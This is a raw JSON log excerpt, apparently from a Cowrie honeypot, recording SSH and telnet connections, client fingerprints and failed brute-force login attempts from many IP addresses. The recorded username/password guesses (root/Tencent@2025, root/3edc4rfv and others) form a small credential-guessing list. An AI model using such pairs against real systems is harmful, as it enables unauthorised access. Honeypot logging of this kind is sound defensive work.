{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:41.117903Z","src_ip":"194.113.233.25","session":"629bcc416c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:42.210783Z","src_ip":"194.113.233.25","session":"629bcc416c5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":55514,"dst_ip":"10.17.0.5","dst_port":22,"session":"95d8548be164","protocol":"ssh","message":"New connection: 200.90.8.86:55514 (10.17.0.5:22) [session: 95d8548be164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:46.517310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:46.522465Z","src_ip":"200.90.8.86","session":"95d8548be164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:46.614267Z","src_ip":"200.90.8.86","session":"95d8548be164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123","message":"login attempt [rdpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:47.001240Z","src_ip":"200.90.8.86","session":"95d8548be164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:48.093900Z","src_ip":"200.90.8.86","session":"95d8548be164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":42680,"dst_ip":"159.203.135.109","dst_port":22,"session":"615649328d2c","protocol":"ssh","message":"New connection: 210.90.155.178:42680 (159.203.135.109:22) [session: 615649328d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:00.692908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:00.697941Z","src_ip":"210.90.155.178","session":"615649328d2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:00.899650Z","src_ip":"210.90.155.178","session":"615649328d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tencent@2025","message":"login attempt [root/Tencent@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:01.735730Z","src_ip":"210.90.155.178","session":"615649328d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":40516,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b1625df0c64","protocol":"ssh","message":"New connection: 37.233.85.71:40516 (10.17.0.5:22) [session: 9b1625df0c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:01.874542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:01.879577Z","src_ip":"37.233.85.71","session":"9b1625df0c64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:01.980991Z","src_ip":"37.233.85.71","session":"9b1625df0c64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sepultura","message":"login attempt [root/sepultura] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:02.284951Z","src_ip":"37.233.85.71","session":"9b1625df0c64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:02.949792Z","src_ip":"210.90.155.178","session":"615649328d2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:03.389618Z","src_ip":"37.233.85.71","session":"9b1625df0c64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":33504,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f254f85ce72","protocol":"ssh","message":"New connection: 45.114.124.44:33504 (10.17.0.5:22) [session: 8f254f85ce72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:11.653241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:11.657981Z","src_ip":"45.114.124.44","session":"8f254f85ce72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:11.881731Z","src_ip":"45.114.124.44","session":"8f254f85ce72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:12.804640Z","src_ip":"45.114.124.44","session":"8f254f85ce72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:14.028012Z","src_ip":"45.114.124.44","session":"8f254f85ce72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":57648,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d6050a157b7","protocol":"ssh","message":"New connection: 62.133.62.83:57648 (159.203.135.109:22) [session: 9d6050a157b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:39.420285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:39.425481Z","src_ip":"62.133.62.83","session":"9d6050a157b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:39.504845Z","src_ip":"62.133.62.83","session":"9d6050a157b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"herobrine","message":"login attempt [root/herobrine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:39.746304Z","src_ip":"62.133.62.83","session":"9d6050a157b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:40.828671Z","src_ip":"62.133.62.83","session":"9d6050a157b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":10797,"dst_ip":"10.17.0.5","dst_port":22,"session":"94d9ae7bff89","protocol":"ssh","message":"New connection: 220.247.224.226:10797 (10.17.0.5:22) [session: 94d9ae7bff89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:44.308888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:44.313768Z","src_ip":"220.247.224.226","session":"94d9ae7bff89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:44.551913Z","src_ip":"220.247.224.226","session":"94d9ae7bff89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3edc4rfv","message":"login attempt [root/3edc4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:45.506323Z","src_ip":"220.247.224.226","session":"94d9ae7bff89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:46.745280Z","src_ip":"220.247.224.226","session":"94d9ae7bff89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":42744,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b33fa521024","protocol":"ssh","message":"New connection: 62.133.63.178:42744 (10.17.0.5:22) [session: 6b33fa521024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:54.095921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:54.100945Z","src_ip":"62.133.63.178","session":"6b33fa521024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:54.217994Z","src_ip":"62.133.63.178","session":"6b33fa521024","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11031991","message":"login attempt [root/11031991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:54.572005Z","src_ip":"62.133.63.178","session":"6b33fa521024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:12:55.694780Z","src_ip":"62.133.63.178","session":"6b33fa521024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":56762,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f00ac6c11b9","protocol":"ssh","message":"New connection: 103.148.100.146:56762 (159.203.135.109:22) [session: 4f00ac6c11b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:10.423835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:10.428972Z","src_ip":"103.148.100.146","session":"4f00ac6c11b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:10.702549Z","src_ip":"103.148.100.146","session":"4f00ac6c11b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gaurav","password":"gaurav@123","message":"login attempt [gaurav/gaurav@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:11.817417Z","src_ip":"103.148.100.146","session":"4f00ac6c11b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:13.093984Z","src_ip":"103.148.100.146","session":"4f00ac6c11b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00350522994995,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:19.185175Z","src_ip":"191.0.122.57","session":"9686640ec5f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.0.122.57","src_port":6710,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffa6230838d2","protocol":"telnet","message":"New connection: 191.0.122.57:6710 (159.203.135.109:23) [session: ffa6230838d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:22.490955Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":16266,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5ee920ce586","protocol":"ssh","message":"New connection: 194.59.206.2:16266 (10.17.0.5:22) [session: e5ee920ce586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:26.573375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:13:26.578274Z","src_ip":"194.59.206.2","session":"e5ee920ce586","protocol":"ssh"}
